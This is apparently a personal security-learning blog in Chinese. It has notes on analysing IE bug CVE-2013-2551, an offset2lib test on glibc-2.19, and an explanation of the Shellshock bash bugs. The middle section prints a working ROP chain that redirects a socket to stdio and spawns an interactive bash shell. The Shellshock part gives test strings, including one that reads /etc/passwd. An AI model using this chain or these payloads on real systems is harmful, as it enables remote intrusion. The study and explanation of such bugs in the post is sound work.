zerons's Blog

For The Dream

CVE-2013-2551

刚开始学着windows下面的安全分析, 对IE也不是很熟悉, 第一个是

http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php

 

单看文中列出的汇编代码, 能够很容易明白, 自己动手在真实环境中找的时候, 就遇到很多小问题了

ida中对vgx.dll的反汇编没有符号表, 所有函数都是sub_XXXXXX的. 这个需要下载符号表, 起初以为符号表只有在windbg下面才用得着的...  https://msdn.microsoft.com/en-us/windows/hardware/gg463028.aspx   下载对应系统版本的符号表,, 然后在反汇编器或者调试器中加载即可

 

在 windbg中加载IE, 一直找不到自己想要的模块, vgx.dll. 把windbg附加到ie进程的时候, 发现有两个ie进程, 加载到其中一个自己打开的页面的进程上, 结果还是一样. windbg对ie的c0000005异常都没有中断.在这点上花了些时间, 直到我开始把windbg附加到两个ie进程中的另外一个的时候, 结果才发生变化. 我猜, 之前那个显示的是自己打开的页面的进程只是用户界面吧.

 

offset2lib glibc2-19 测试

ref http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html

 

环境 ubuntu14.04.2 glibc-2.19 kernel 3.18.9

 

.py文件需要修改成对应于glibc-2.19的版本

off = libc_base

# dup2 to the three standard I/O FD (STDIN, STDOUT, STDERR)
# dup2(4,0)
p += pack('Q', off + 0x000000000010816a) # pop rsi ; ret
p += pack("Q", 0x0)
p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack("Q", 0x4)
p += pack('Q', off + 0x000000000001f576) # pop rax ; ret
p += pack("Q", 0x0000000000000021) #  execve #dup2 33
p += pack('Q', off) # padding
p += pack('Q', off) # padding
p += pack('Q', off + 0x00000000000c1e55) # syscall ; ret

# dup2(4,1)
p += pack('Q', off + 0x000000000010816a) # pop rsi ; ret
p += pack("Q", 0x1)
p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack("Q", 0x4)
p += pack('Q', off + 0x000000000001f576) # pop rax ; ret
p += pack("Q", 0x0000000000000021) #  execve #dup2 33
p += pack('Q', off) # padding
p += pack('Q', off) # padding
p += pack('Q', off + 0x00000000000c1e55) # syscall ; ret

# dup2(4,2)
p += pack('Q', off + 0x000000000010816a) # pop rsi ; ret
p += pack("Q", 0x2)
p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack("Q", 0x4)
p += pack('Q', off + 0x000000000001f576) # pop rax ; ret
p += pack("Q", 0x0000000000000021) #  execve #dup2 33
p += pack('Q', off) #padding
p += pack('Q', off) #padding
p += pack('Q', off + 0x00000000000c1e55) # syscall ; ret


p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf080) # @ .data
p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += "/bin/bas" # /bin/bas
p += pack('Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf088) # @ .data + 8
p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += "hAAAAAAA" # hAAAAAAA
p += pack('Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf089) # @ .data + 9
p += pack('Q', off + 0x0000000000088c85) # xor rax, rax ; ret
p += pack('Q', off + 0x0000000000037b25) # mov qword ptr [rdi], rax ;ret 

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf08a) # @ .data + 10
p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += "-iAAAAAA" # -iAAAAAA
p += pack('Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf08c) # @ .data + 12
p += pack('Q', off + 0x0000000000088c85) # xor rax, rax ; ret
p += pack('Q', off + 0x0000000000037b25) # mov qword ptr [rdi], rax ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf08d) # @ .data + 13
p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += pack('Q', off + 0x00000000003bf080) # @ .data
p += pack('Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf095) # @ .data + 21
p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += pack('Q', off + 0x00000000003bf08a) # @ .data + 10
p += pack('Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf09d) # @ .data + 29
p += pack('Q', off + 0x0000000000088c85) # xor rax, rax ; ret
p += pack('Q', off + 0x0000000000037b25) # mov qword ptr [rdi], rax ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf080) # @ .data

p += pack('Q', off + 0x000000000010816a) # pop rsi ; ret
p += pack('Q', off + 0x00000000003bf08d) # @ .data + 13

p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += pack('Q', off + 0x00000000003bf09d) # @ .data + 29

p += pack('Q', off + 0x000000000001f576) # pop rax ; ret
p += pack("Q", 0x000000000000003b) #  execve
p += pack("Q", off) #padding
p += pack("Q", off) #padding
p += pack('Q', off + 0x00000000000c1e55) # syscall ; ret

代码通过不断的比较服务程序返回的值来依次测试偏移量, canary, rbp, rip, 由rip可得到对应的程序加载基址, 从而可得到libc的加载基址, 通过相应指令在libc中的偏移来复制文件描述符 执行bash程序.

bash CVE-2014-6271 CVE-2014-7169

昨天CVE-2014-6271曝出, 网上给出的测试代码env X='() { :; }; echo vuln' bash -c "echo ..."很好理解, 原因也很好找, http://www.zhihu.com/question/25539470/answer/31055176?utm_source=weibo&utm_medium=weibo_share&utm_content=share_answer&utm_campaign=share_button.

但是对第二个绕过测试代码很不解, env X='() { (a)=>\' bash -c "echo echo vuln";cat echo

这段测试代码目的是造成bash错误, 即(a)=   这段语句会语法出错, 

这时, 一个全局变量eol_ungetc_lookahead为'>'

然后yyerror会被调用, 输出语法错误提示, 并且调用reset_parser, 之后回到variables.c中的initilize_shell_variables函数, 调用report_error, 由于exit_immediately_on_error仍然为0, 所以程序会继续运行. 

当调用shell_getc时, 因为eol_ungetc_lookahead不为空, 那么返回它的值, 也即为之前出错的时候的字符'>'

然后读取后面将执行的命令, "echo echo vuln"   合并即为">echo echo vuln"   就会创建一个新文件

同样, 将'>'字符改成'<', 会读取系统一些文件, 如env -i X='() { (a)=>\' bash -c "/etc/passwd cat".

补充: 为什么要在最后加上\, 因为shell_getc在碰到\的时候, 会restart_read, 然后直接返回EOF, 同时会触发两次shell_ungetc, 让eol_ungetc_lookahead变量得到'>'. 没有\的时候, shell_ungetc的执行路径会不同, 

 

通过输入精心制造的特殊数据, 控制程序的执行路径向自己希望的方向走, nice